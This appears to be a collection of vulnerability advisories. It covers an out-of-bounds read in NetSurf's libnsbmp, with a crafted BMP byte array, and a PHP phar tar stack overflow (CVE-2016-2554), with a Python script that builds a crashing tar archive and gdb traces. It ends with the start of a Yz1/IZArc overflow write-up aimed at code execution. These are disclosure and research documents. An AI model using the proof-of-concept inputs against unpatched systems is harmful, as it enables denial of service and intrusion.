269 | if (size == 8) { 270 | [...] 271 | scanline[x++] = bmp->colour_table[(int)*data++]; 272 | } 273 | } else { 274 | [...] 275 | if ((i & 1) == 0) { 276 | pixel = *data++; 277 | scanline[x++] = bmp->colour_table 278 | [pixel >> 4]; 279 | } else { 280 | scanline[x++] = bmp->colour_table 281 | [pixel & 0xf]; 282 | } 283 | } 284 | [...] 285 | } 286 | } else { 287 | /* NN means perform RLE for NN pixels */ 288 | [...] 289 | if (size == 8) { 290 | pixel = bmp->colour_table[(int)*data++]; 291 | [...] 292 | } else { 293 | pixel2 = *data++; 294 | pixel = bmp->colour_table[pixel2 >> 4]; 295 | pixel2 = bmp->colour_table[pixel2 & 0xf]; 296 | [...] 297 | } 298 | } 299 | } 300 | } while (data < end); 301 | [...] 302 | } 303 | #+end_src 304 | 305 | 306 | src/libnsbmp.c #844..893: 307 | #+begin_src c 308 | static bmp_result bmp_decode_rgb(bmp_image *bmp, uint8_t **start, int bytes) { 309 | [...] 310 | uint8_t bit_shifts[8]; 311 | uint8_t ppb = 8 / bmp->bpp; 312 | uint8_t bit_mask = (1 << bmp->bpp) - 1; 313 | uint8_t cur_byte = 0, bit, i; 314 | 315 | for (i = 0; i < ppb; i++) 316 | bit_shifts[i] = 8 - ((i + 1) * bmp->bpp); 317 | [...] 318 | /* Determine transparent index */ 319 | if (bmp->limited_trans) 320 | bmp->transparent_index = bmp->colour_table[(*data >> bit_shifts[0]) & bit_mask]; 321 | 322 | for (y = 0; y < bmp->height; y++) { 323 | [...] 324 | for (x = 0; x < bmp->width; x++) { 325 | if (bit >= ppb) { 326 | bit = 0; 327 | cur_byte = *data++; 328 | } 329 | scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask]; 330 | [...] 331 | } 332 | } 333 | *start = data; 334 | return BMP_OK; 335 | } 336 | #+end_src 337 | 338 | 339 | Another NetSurf example: 340 | 341 | #+begin_src sh 342 | ~/netsurf-all-3.3/netsurf$ gdb --args ./nsgtk oob.bmp 343 | [...] 344 | (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:531 345 | Breakpoint 1 at 0x516a3e: file src/libnsbmp.c, line 531. 346 | (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:869 347 | Breakpoint 2 at 0x5179bb: file src/libnsbmp.c, line 869. 348 | (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:886 349 | Breakpoint 3 at 0x517aab: file src/libnsbmp.c, line 886. 350 | (gdb) r 351 | [...] 352 | Breakpoint 1, bmp_analyse_header (bmp=0xdadc90, data=0xdb9e6a "\377\377\377") at src/libnsbmp.c:531 353 | 531 bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4); 354 | (gdb) p bmp->colours * 4 355 | $1 = 4 356 | (gdb) c 357 | [...] 358 | Breakpoint 3, bmp_decode_rgb (bmp=0xdadc90, start=0x7fffffffbff0, bytes=4) at src/libnsbmp.c:886 359 | 886 scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask]; 360 | (gdb) p (cur_byte >> bit_shifts[bit++]) & bit_mask 361 | $2 = 255 362 | (gdb) 363 | #+end_src 364 | 365 | 366 | oob.bmp: 367 | #+begin_src c 368 | unsigned char bmp[] = { 369 | /* bmp_analyse() */ 370 | 0x42, 0x4d, /* BM */ 371 | 0x7e, 0x00, 0x00, 0x00, /* bmp size */ 372 | 0x00, 0x00, /* reserved */ 373 | 0x00, 0x00, /* reserved */ 374 | 0x7a, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */ 375 | 376 | /* bmp_analyse_header() */ 377 | 0x6c, 0x00, 0x00, 0x00, /* header_size */ 378 | 0x01, 0x00, 0x00, 0x00, /* width */ 379 | 0x01, 0x00, 0x00, 0x00, /* height */ 380 | 0x01, 0x00, /* colour planes */ 381 | 0x08, 0x00, /* bmp->bpp */ 382 | 0x00, 0x00, 0x00, 0x00, /* bmp->encoding */ 383 | 0x00, 0x00, 0x00, 0x00, /* size of bitmap */ 384 | 0x00, 0x00, 0x00, 0x00, /* horizontal resolution */ 385 | 0x00, 0x00, 0x00, 0x00, /* vertical resolution */ 386 | 0x01, 0x00, 0x00, 0x00, /* bmp->colours */ 387 | 0x00, 0x00, 0x00, 0x00, /* number of important colours */ 388 | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of red component */ 389 | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */ 390 | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */ 391 | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of alpha component */ 392 | 0x00, 0x00, 0x00, 0x00, /* color space type */ 393 | 0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */ 394 | 0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */ 395 | 0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */ 396 | 0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */ 397 | 0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */ 398 | 0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */ 399 | 0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */ 400 | 0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */ 401 | 0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */ 402 | 0x00, 0x00, 0x00, 0x00, /* gamma red coordinate scale value */ 403 | 0x00, 0x00, 0x00, 0x00, /* gamma green coordinate scale value */ 404 | 0x00, 0x00, 0x00, 0x00, /* gamma blue coordinate scale value */ 405 | 0xff, 0xff, 0xff, 0x00 /* bmp->colour_table[0] */ 406 | }; 407 | #+end_src 408 | 409 | 410 | * Solution 411 | 412 | Both vulnerabilities are fixed in git HEAD[2]. 413 | 414 | 415 | * Footnotes 416 | 417 | [1] http://www.netsurf-browser.org/projects/libnsbmp/ 418 | 419 | [2] http://source.netsurf-browser.org/libnsbmp.git/ 420 | -------------------------------------------------------------------------------- /006-php.org: -------------------------------------------------------------------------------- 1 | #+title: php: stack overflow when decompressing tar archives (CVE-2016-2554) 2 | #+author: Hans Jerry Illikainen 3 | #+email: hji@dyntopia.com 4 | 5 | A stack overflow may occur in PHP[1] when decompressing tar archives due 6 | to ~phar_tar_writeheaders()~ potentially copying non-terminated 7 | linknames from entries parsed by ~phar_parse_tarfile()~ (tested with 8 | 5.6.11, 5.6.17 and 7.0.2). 9 | 10 | 11 | php-5.6.17/ext/phar/tar.h #65..94: 12 | #+begin_src c 13 | typedef struct _tar_header { /* {{{ */ 14 | [...] 15 | char linkname[100]; /* name of linked file */ 16 | char magic[6]; /* USTAR indicator */ 17 | char version[2]; /* USTAR version */ 18 | char uname[32]; /* owner user name */ 19 | char gname[32]; /* owner group name */ 20 | char devmajor[8]; /* device major number */ 21 | char devminor[8]; /* device minor number */ 22 | char prefix[155]; /* prefix for file name; 23 | the value of the prefix field, if non-null, 24 | is prefixed to the name field to allow names 25 | longer then 100 characters */ 26 | char padding[12]; /* unused zeroed bytes */ 27 | } PHAR_TAR_PACK tar_header; 28 | #+end_src 29 | 30 | 31 | php-5.6.17/ext/phar/tar.c #198..678: 32 | #+begin_src c 33 | int phar_parse_tarfile(php_stream* fp, char *fname, int fname_len, char *alias, int alias_len, phar_archive_data** pphar, int is_data, php_uint32 compression, char **error TSRMLS_DC) /* {{{ */ 34 | { 35 | char buf[512], *actual_alias = NULL, *p; 36 | phar_entry_info entry = {0}; 37 | size_t pos = 0, read, totalsize; 38 | tar_header *hdr; 39 | php_uint32 sum1, sum2, size, old; 40 | phar_archive_data *myphar, **actual; 41 | int last_was_longlink = 0; 42 | 43 | [...] 44 | read = php_stream_read(fp, buf, sizeof(buf)); 45 | [...] 46 | 47 | do { 48 | [...] 49 | hdr = (tar_header*) buf; 50 | [...] 51 | 52 | if (entry.tar_type == TAR_LINK) { 53 | [...] 54 | entry.link = estrdup(hdr->linkname); 55 | } else if (entry.tar_type == TAR_SYMLINK) { 56 | entry.link = estrdup(hdr->linkname); 57 | } 58 | [...] 59 | read = php_stream_read(fp, buf, sizeof(buf)); 60 | [...] 61 | } while (read != 0); 62 | [...] 63 | } 64 | /* }}} */ 65 | #+end_src 66 | 67 | 68 | linkname is expected to be <=100 bytes and it's estrdup:ed from 69 | ~((tar_header *)buf)->linkname~ to ~entry.link~. However, since there's 70 | no guarantee that ~linkname~ or any of the following buffers are 71 | NUL-terminated, the resulting ~entry.link~ may be at least 72 | sizeof(linkname) + ... + sizeof(padding) = 355 bytes (and possibly 73 | bigger depending on where \0 is encountered). 74 | 75 | As the header is later written in ~phar_tar_writeheaders()~, linkname is 76 | strncpy:d to ~char linkname[100]~ with a len based on the source string. 77 | 78 | php-5.6.17/ext/phar/tar.c #688..835: 79 | #+begin_src c 80 | static int phar_tar_writeheaders(void *pDest, void *argument TSRMLS_DC) /* {{{ */ 81 | { 82 | tar_header header; 83 | [...] 84 | phar_entry_info *entry = (phar_entry_info *) pDest; 85 | 86 | [...] 87 | if (entry->link) { 88 | strncpy(header.linkname, entry->link, strlen(entry->link)); 89 | } 90 | [...] 91 | } 92 | /* }}} */ 93 | #+end_src 94 | 95 | 96 | With php-5.6.17 compiled with -D_FORTIFY_SOURCE=2: 97 | 98 | #+begin_src sh 99 | $ python crash.py crash.tar 100 | $ gdb --args php-5.6.17/bin/php phar.php crash.tar ext 101 | (gdb) b tar.c:490 102 | (gdb) r 103 | Breakpoint 1, phar_parse_tarfile [...] 104 | 490 entry.link = estrdup(hdr->linkname); 105 | 106 | (gdb) call strlen(hdr->linkname) 107 | $1 = 617 108 | (gdb) printf "%s\n", hdr->linkname 109 | linkname...linkname...linkname...linkname...linkname...linkname... 110 | linkname...linkname...linkname...lmagic...uname...uname...uname... 111 | uname...gname...gname...gname...gname...major...minor...prefix... 112 | prefix...prefix...prefix...prefix...prefix...prefix...prefix... 113 | prefix...prefix...prefix...prefix...prefix...prefix...prefix... 114 | prefix...prefix...prpadding...paprefix...prefix...prefix... 115 | prefix...prefix...prefix...prefix...prefix...prefix...prefix... 116 | prefix...prefix...prefix...prefix...prefix...prefix...prefix... 117 | pr/name...name...name...name...name...name...name...name...name... 118 | name...name...name...name...name...na????? 119 | 120 | (gdb) b strncpy 121 | (gdb) c 122 | Breakpoint 2, phar_tar_writeheaders [...] 123 | 756 strncpy(header.linkname, entry->link, strlen(entry->link)); 124 | (gdb) p sizeof(header.linkname) 125 | $2 = 100 126 | 127 | (gdb) s 128 | strncpy (__len=617, __src=0x7ffff7fdbbe0 "linkname...linkname... 129 | linkname...linkname...linkname...linkname...linkname...linkname... 130 | linkname...lmagic...uname...uname...uname...uname...gname...gname... 131 | gname...gname...major...minor...prefix...pre"..., __dest=0x7fffffffa13d "") 132 | at /usr/include/x86_64-linux-gnu/bits/string3.h:126 133 | 126 return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest)); 134 | 135 | (gdb) c 136 | Continuing. 137 | *** buffer overflow detected ***: /home/php/php-5.6.17/bin/php terminated 138 | ======= Backtrace: ========= 139 | /lib/x86_64-linux-gnu/libc.so.6(+0x78c4e)[0x7ffff6fa7c4e] 140 | /lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x5c)[0x7ffff7047e8c] 141 | /lib/x86_64-linux-gnu/libc.so.6(+0x116e80)[0x7ffff7045e80] 142 | /lib/x86_64-linux-gnu/libc.so.6(+0x116319)[0x7ffff7045319] 143 | /home/php/php-5.6.17/bin/php[0x5983e4] 144 | /home/php/php-5.6.17/bin/php(zend_hash_apply_with_argument+0x79)[0x6f4cf9] 145 | /home/php/php-5.6.17/bin/php[0x59aa84] 146 | /home/php/php-5.6.17/bin/php[0x5af476] 147 | /home/php/php-5.6.17/bin/php[0x5ba050] 148 | /home/php/php-5.6.17/bin/php[0x5baf2a] 149 | /home/php/php-5.6.17/bin/php[0x79543f] 150 | /home/php/php-5.6.17/bin/php(execute_ex+0x40)[0x723a50] 151 | /home/php/php-5.6.17/bin/php(zend_execute_scripts+0x180)[0x6e7dd0] 152 | /home/php/php-5.6.17/bin/php(php_execute_script+0x280)[0x683160] 153 | /home/php/php-5.6.17/bin/php[0x796f32] 154 | /home/php/php-5.6.17/bin/php[0x423c9e] 155 | /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff6f4fa40] 156 | /home/php/php-5.6.17/bin/php(_start+0x29)[0x423de9] 157 | ======= Memory map: ======== 158 | 00400000-00bff000 r-xp 00000000 08:01 557690 /home/php/php-5.6.17/bin/php 159 | 00dfe000-00e8f000 r--p 007fe000 08:01 557690 /home/php/php-5.6.17/bin/php 160 | 00e8f000-00e98000 rw-p 0088f000 08:01 557690 /home/php/php-5.6.17/bin/php 161 | 00e98000-01051000 rw-p 00000000 00:00 0 [heap] 162 | 7ffff44f3000-7ffff4931000 r--p 00000000 08:01 136079 /usr/lib/locale/locale-archive 163 | 7ffff4931000-7ffff4947000 r-xp 00000000 08:01 786971 /lib/x86_64-linux-gnu/libgcc_s.so.1 164 | 7ffff4947000-7ffff4b46000 ---p 00016000 08:01 786971 /lib/x86_64-linux-gnu/libgcc_s.so.1 165 | 7ffff4b46000-7ffff4b47000 r--p 00015000 08:01 786971 /lib/x86_64-linux-gnu/libgcc_s.so.1 166 | 7ffff4b47000-7ffff4b48000 rw-p 00016000 08:01 786971 /lib/x86_64-linux-gnu/libgcc_s.so.1 167 | 7ffff4b48000-7ffff4cbb000 r-xp 00000000 08:01 133608 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 168 | 7ffff4cbb000-7ffff4eba000 ---p 00173000 08:01 133608 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 169 | 7ffff4eba000-7ffff4ec4000 r--p 00172000 08:01 133608 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 170 | 7ffff4ec4000-7ffff4ec6000 rw-p 0017c000 08:01 133608 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 171 | 7ffff4ec6000-7ffff4eca000 rw-p 00000000 00:00 0 172 | 7ffff4eca000-7ffff6780000 r-xp 00000000 08:01 140633 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1 173 | 7ffff6780000-7ffff697f000 ---p 018b6000 08:01 140633 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1 174 | 7ffff697f000-7ffff6980000 r--p 018b5000 08:01 140633 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1 175 | 7ffff6980000-7ffff6981000 rw-p 018b6000 08:01 140633 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1 176 | 7ffff6981000-7ffff699a000 r-xp 00000000 08:01 787064 /lib/x86_64-linux-gnu/libz.so.1.2.8 177 | 7ffff699a000-7ffff6b99000 ---p 00019000 08:01 787064 /lib/x86_64-linux-gnu/libz.so.1.2.8 178 | 7ffff6b99000-7ffff6b9a000 r--p 00018000 08:01 787064 /lib/x86_64-linux-gnu/libz.so.1.2.8 179 | 7ffff6b9a000-7ffff6b9b000 rw-p 00019000 08:01 787064 /lib/x86_64-linux-gnu/libz.so.1.2.8 180 | 7ffff6b9b000-7ffff6d1a000 r-xp 00000000 08:01 140629 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1 181 | 7ffff6d1a000-7ffff6f1a000 ---p 0017f000 08:01 140629 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1 182 | 7ffff6f1a000-7ffff6f2a000 r--p 0017f000 08:01 140629 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1 183 | 7ffff6f2a000-7ffff6f2b000 rw-p 0018f000 08:01 140629 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1 184 | 7ffff6f2b000-7ffff6f2f000 rw-p 00000000 00:00 0 185 | 7ffff6f2f000-7ffff70ef000 r-xp 00000000 08:01 786945 /lib/x86_64-linux-gnu/libc-2.21.so 186 | 7ffff70ef000-7ffff72ef000 ---p 001c0000 08:01 786945 /lib/x86_64-linux-gnu/libc-2.21.so 187 | 7ffff72ef000-7ffff72f3000 r--p 001c0000 08:01 786945 /lib/x86_64-linux-gnu/libc-2.21.so 188 | 7ffff72f3000-7ffff72f5000 rw-p 001c4000 08:01 786945 /lib/x86_64-linux-gnu/libc-2.21.so 189 | 7ffff72f5000-7ffff72f9000 rw-p 00000000 00:00 0 190 | 7ffff72f9000-7ffff74a6000 r-xp 00000000 08:01 134031 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2 191 | 7ffff74a6000-7ffff76a6000 ---p 001ad000 08:01 134031 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2 192 | 7ffff76a6000-7ffff76ae000 r--p 001ad000 08:01 134031 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2 193 | 7ffff76ae000-7ffff76b0000 rw-p 001b5000 08:01 134031 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.2 194 | 7ffff76b0000-7ffff76b1000 rw-p 00000000 00:00 0 195 | 7ffff76b1000-7ffff76b4000 r-xp 00000000 08:01 786959 /lib/x86_64-linux-gnu/libdl-2.21.so 196 | 7ffff76b4000-7ffff78b3000 ---p 00003000 08:01 786959 /lib/x86_64-linux-gnu/libdl-2.21.so 197 | 7ffff78b3000-7ffff78b4000 r--p 00002000 08:01 786959 /lib/x86_64-linux-gnu/libdl-2.21.so 198 | 7ffff78b4000-7ffff78b5000 rw-p 00003000 08:01 786959 /lib/x86_64-linux-gnu/libdl-2.21.so 199 | 7ffff78b5000-7ffff79bc000 r-xp 00000000 08:01 786990 /lib/x86_64-linux-gnu/libm-2.21.so 200 | 7ffff79bc000-7ffff7bbb000 ---p 00107000 08:01 786990 /lib/x86_64-linux-gnu/libm-2.21.so 201 | 7ffff7bbb000-7ffff7bbc000 r--p 00106000 08:01 786990 /lib/x86_64-linux-gnu/libm-2.21.so 202 | 7ffff7bbc000-7ffff7bbd000 rw-p 00107000 08:01 786990 /lib/x86_64-linux-gnu/libm-2.21.so 203 | 7ffff7bbd000-7ffff7bd4000 r-xp 00000000 08:01 787034 /lib/x86_64-linux-gnu/libresolv-2.21.so 204 | 7ffff7bd4000-7ffff7dd4000 ---p 00017000 08:01 787034 /lib/x86_64-linux-gnu/libresolv-2.21.so 205 | 7ffff7dd4000-7ffff7dd6000 r--p 00017000 08:01 787034 /lib/x86_64-linux-gnu/libresolv-2.21.so 206 | 7ffff7dd6000-7ffff7dd7000 rw-p 00019000 08:01 787034 /lib/x86_64-linux-gnu/libresolv-2.21.so 207 | 7ffff7dd7000-7ffff7dd9000 rw-p 00000000 00:00 0 208 | 7ffff7dd9000-7ffff7dfd000 r-xp 00000000 08:01 786921 /lib/x86_64-linux-gnu/ld-2.21.so 209 | 7ffff7e51000-7ffff7fea000 rw-p 00000000 00:00 0 210 | 7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0 211 | 7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 212 | 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 213 | 7ffff7ffc000-7ffff7ffd000 r--p 00023000 08:01 786921 /lib/x86_64-linux-gnu/ld-2.21.so 214 | 7ffff7ffd000-7ffff7ffe000 rw-p 00024000 08:01 786921 /lib/x86_64-linux-gnu/ld-2.21.so 215 | 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 216 | 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] 217 | ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] 218 | 219 | Program received signal SIGABRT, Aborted. 220 | 0x00007ffff6f64267 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55 221 | 55 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. 222 | (gdb) 223 | #+end_src 224 | 225 | 226 | * phar.php 227 | #+begin_src php 228 | decompress($argv[2]); 235 | ?> 236 | #+end_src 237 | 238 | 239 | * crash.py 240 | #+begin_src python 241 | # This creates an example .tar with: 242 | # 243 | # 1. a pax header with a ustar\x0000 magic 244 | # 2. a symbolic link with mostly bogus header data 245 | # 246 | # `old' (tar.c:226) will be false due to #1, and with the prefix data of #2, 247 | # `hdr->prefix' will be concatenated with `hdr->name' in `char name[256]', 248 | # starting on tar.c:401: 249 | # 250 | # else if (!last_was_longlink && !old && hdr->prefix[0] != 0) { ... } 251 | # 252 | # hdr->linkname..hdr->padding in #2 won't be NUL-terminated, resulting 253 | # in a longer than 100 byte `entry.link' in tar.c:490: 254 | # 255 | # entry.link = estrdup(hdr->linkname); 256 | # 257 | # With the php5-cli (5.6.11+dfsg-1ubuntu3.1) package provided by Ubuntu 258 | # 15.10, as well as with a self-built php-5.6.17, `hdr' is followed by 259 | # the concatenated `name' buffer. 260 | # 261 | # The resulting `entry.link' will thus be hdr->linkname..hdr->padding 262 | # (355 bytes) + name (256 bytes) + whatever else until a NUL byte is 263 | # encountered. 264 | # 265 | # The invocation of `strncpy()' in `phar_tar_writeheaders()' (tar.c:756) 266 | # will therefore end up copying >= 611 bytes to `header.linkname' (100 267 | # bytes) 268 | # 269 | # strncpy(header.linkname, entry->link, strlen(entry->link)); 270 | # 271 | import sys 272 | import struct 273 | from tarfile import (TarFile, TarInfo, calc_chksums, stn, itn, 274 | POSIX_MAGIC, PAX_FORMAT, REGTYPE, BLOCKSIZE, SYMTYPE) 275 | 276 | class Info(TarInfo): 277 | @staticmethod 278 | def _create_header(info, format): 279 | """ 280 | _create_header() is more or less copy-pasted from 281 | python2.7/tarfile.py with some minor changes to avoid 282 | NUL-termination. 283 | """ 284 | magic = POSIX_MAGIC 285 | if info["name"] != "././@PaxHeader": 286 | magic = "magic..." 287 | 288 | parts = [ 289 | stn(info.get("name", ""), 100), 290 | itn(info.get("mode", 0) & 07777, 8, format), 291 | itn(info.get("uid", 0), 8, format), 292 | itn(info.get("gid", 0), 8, format), 293 | itn(info.get("size", 0), 12, format), 294 | itn(info.get("mtime", 0), 12, format), 295 | " ", # checksum field 296 | info.get("type", REGTYPE), 297 | stn(info.get("linkname", ""), 100), 298 | pad(magic, 8), 299 | pad("uname...", 32), 300 | pad("gname...", 32), 301 | pad("major...", 8), 302 | pad("minor...", 8), 303 | pad("prefix...", 155), 304 | pad("padding...", 12) 305 | ] 306 | 307 | buf = struct.pack("%ds" % BLOCKSIZE, "".join(parts)) 308 | chksum = calc_chksums(buf[-BLOCKSIZE:])[0] 309 | buf = buf[:-364] + "%06o\0" % chksum + buf[-357:] 310 | return buf 311 | 312 | def pad(s, length): 313 | return (s * length)[:length] 314 | 315 | def main(): 316 | if len(sys.argv) != 2: 317 | sys.exit("%s out" % sys.argv[0]) 318 | 319 | tar = TarFile(sys.argv[1], "w", format=PAX_FORMAT) 320 | 321 | info = Info() 322 | info.type = SYMTYPE 323 | info.linkname = pad("linkname...", 155) 324 | info.name = pad("name...", 100) 325 | 326 | tar.addfile(info) 327 | tar.close() 328 | 329 | if __name__ == "__main__": 330 | main() 331 | #+end_src 332 | 333 | 334 | * Solution 335 | 336 | This issue has been assigned CVE-2016-2554 [2] and it has been fixed in 337 | version 5.5.32, 5.6.18 and 7.0.3. 338 | 339 | 340 | * Footnotes 341 | 342 | [1] https://bugs.php.net/bug.php?id=71488 343 | 344 | [2] http://seclists.org/oss-sec/2016/q1/428 345 | -------------------------------------------------------------------------------- /014-yz1-izarc.md: -------------------------------------------------------------------------------- 1 | CVE-2020-24175: yz1: stack overflow 2 | =================================== 3 | 4 | Introduction 5 | ------------ 6 | 7 | I recently ran into an old-school buffer overflow while fuzzing the 8 | [Yz1][0] archive (de)compression library. 9 | 10 | The intention with this write-up is to go from a crash to code execution 11 | in one of the archive software that bundles the `Yz1` library -- namely, 12 | [IZArc][2] version `4.4`. The target platform is Windows 10 64bit 13 | (although both `IZArc` and `Yz1` are 32bit-only). 14 | 15 | The analysis is made with [Ghidra][6] coupled with the [PHAROS 16 | OOAnalyzer][7] plugin. 17 | 18 | The image base for `Yz1.dll` in our analysis is `0x10000000` and the 19 | version is 0.30 (as is shipped with `IZArc`, but newer versions of `Yz1` 20 | are also vulnerable). 21 | 22 | 23 | The Yz1 library 24 | --------------- 25 | 26 | `Yz1` is an archaic compression format developed by YAMAZAKI at Binary 27 | Technology. It was part of their [DeepFreezer][1] archiver software. 28 | 29 | Both of these components are closed-source and proprietary. However, 30 | `Yz1` is distributed as a shareware binary-only DLL and it's bundled 31 | with a few modern file archivers -- including [IZArc][2], [ZipGenius][3] 32 | and [Explzh][9]. 33 | 34 | The interface for `Yz1` is somewhat interesting. There are a few 35 | standalone functions that tries to verify that an archive is valid. 36 | There are also functions for retrieving filenames and their metadata in 37 | an archive. File (de)compression is performed by a single public 38 | function named [Yz1][4]: 39 | 40 | ```c 41 | int WINAPI Yz1(const HWND wnd, LPCSTR cmd, LPSTR buf, const DWORD siz); 42 | ``` 43 | 44 | Every argument other than [cmd][5] can be `NULL` or `0` for window-less 45 | use where no feedback is to be received from the module itself. 46 | 47 | The [cmd][5] argument specifies what operation to perform and with what 48 | options. Some of these options include: 49 | 50 | ```sh 51 | c - Create archive 52 | x - Expand archive 53 | -cN - Check timestamp according to N 54 | -iN - Silnce status output according to N 55 | ``` 56 | 57 | This makes working with the `Yz1` API kind of like working with the 58 | command-line interfaces for traditional (un)archivers like `tar` or 59 | `zip`. 60 | 61 | As mentioned, the focus in this write-up is on [IZArc][2] and its use of 62 | the `Yz1` library. The functionality in `Yz1` that we'll pay attention 63 | to is the functionality that's used by `IZArc`. 64 | 65 | 66 | The Yz1 header 67 | -------------- 68 | 69 | The (for this write up) first relevant entrypoint, before the `Yz1()` 70 | function is reached, is `Yz1CheckArchive()`. `IZArc` uses this function 71 | to validate `Yz1` archives before processing them. 72 | 73 | The prototype looks like [this][4]: 74 | 75 | ```c 76 | BOOL WINAPI Yz1CheckArchive(LPCSTR filename, const int mode); 77 | ``` 78 | 79 | The first argument is the filename of the archive to check. The second 80 | argument is the mode to check. There are a number of checking modes 81 | defined in [Yz1.h][10]: 82 | 83 | ```c 84 | CHECKARCHIVE_BASIC 1 85 | [...] 86 | CHECKARCHIVE_ALL 16 87 | ``` 88 | 89 | `Yz1CheckArchive` returns `true` or `false` for all modes except 90 | `CHECKARCHIVE_ALL`. A mode of `CHECKARCHIVE_ALL` introduces other 91 | possible return values, despite the function signature. 92 | 93 | Our target program, `IZArc`, seem to always invoke `Yz1CheckArchive` 94 | with a mode of `CHECKARCHIVE_BASIC`, so the other modes are ignored. 95 | 96 | The `Yz1CheckArchive()` function, as well as the generic `Yz()` function 97 | (during decompression), takes us to a class method with the following 98 | signature: 99 | 100 | ```cpp 101 | int __thiscall YzFile_DecodeHeader(yzFileDecode *this, char *x_path); 102 | ``` 103 | 104 | This method is far too complex to distill in its entirety, but it 105 | performs a number of noteworthy operations. First off, it starts by 106 | reading a `0x14` byte header from the input file: 107 | 108 | ```c 109 | /* 110 | * 1000e7b7 111 | */ 112 | x_size = _fread(&x_header,1,0x14,x_yz1File->fp); 113 | ``` 114 | 115 | For example, with an archive containing the following three files: 116 | 117 | ```python 118 | >>> from pathlib import Path 119 | >>> for p in Path().glob("*.txt"): 120 | ... print(f"{p}: {p.stat().st_size:#x} bytes") 121 | ... 122 | aaaa.txt: 0x25 bytes 123 | bbbbbbbbbbbbbbbb.txt: 0x1d bytes 124 | cccccccccccccccccccc.txt: 0x21 bytes 125 | ``` 126 | 127 | The header will look something like this: 128 | 129 | ```sh 130 | $ hexdump -e '4/1 "%02X" "\n"' demo.yz1 131 | # 0: Archive magic (yz01) 132 | 797A3031 133 | # 1: Flags; used to, e.g., indicate whether the archive is password-protected. 134 | 30363030 135 | # 2. ??? 136 | 000000B2 137 | # 3. Number of bytes required to decode the filenames. 138 | # 139 | # > file_count * sizeof(DWORD) * 2 * len(all_filenames_incl_NUL) 140 | # 141 | # In our example, that is: 142 | # 143 | # > 3*4*2 + len("aaaa.txt\0bbbbbbbbbbbbbbbb.txt\0cccccccccccccccccccc.txt\0") 144 | 0000004F 145 | # 4. File count 146 | 00000003 147 | ``` 148 | 149 | The reason for the two additional DWORDs per file in the third header 150 | field is for metadata, as can be seen when 151 | `yzFileDecode::YzFile_DecodeHeader` allocates and decodes the filenames 152 | into a chunk of that size: 153 | 154 | ```sh 155 | # _malloc(this->x_totalFilenameSize) 156 | 0:000> bu YZ1!yzFileDecode::YzFile_DecodeHeader + 0x56b 157 | 0:000> g 158 | ... 159 | Breakpoint 0 hit 160 | ... 161 | 162 | 0:000> dd esp L1 163 | 0070eae8 0000004f 164 | 165 | 0:000> p 166 | eax=03955330 167 | 168 | 0:000> bu YZ1!yzFileDecode::YzFile_DecodeHeader + 0x643 169 | 0:000> g 170 | ... 171 | Breakpoint 1 hit 172 | ... 173 | 174 | 0:000> dd 03955330 L20 175 | 03955330 baadf00d baadf00d baadf00d baadf00d 176 | 03955340 baadf00d baadf00d baadf00d baadf00d 177 | 03955350 baadf00d baadf00d baadf00d baadf00d 178 | 03955360 baadf00d baadf00d baadf00d baadf00d 179 | 03955370 baadf00d baadf00d baadf00d abeefeee 180 | 03955380 abababab feababab 00000000 00000000 181 | 03955390 1dfe6d47 2000c430 000b0001 000b0004 182 | 039553a0 000b0003 000b000b 000b000b 000b000b 183 | 184 | 0:000> p 185 | 0:000> dc 03955330 186 | 03955330 25000000 1d000000 21000000 a26bf15e ...%.......!^.k. 187 | 03955340 478ff05e 61616161 61616161 7478742e ^..Gaaaaaaaa.txt 188 | 03955350 62626200 62626262 62626262 62626262 .bbbbbbbbbbbbbbb 189 | 03955360 78742e62 63630074 63636363 63636363 b.txt.cccccccccc 190 | 03955370 63636363 63636363 742e6363 ab007478 cccccccccc.txt.. 191 | 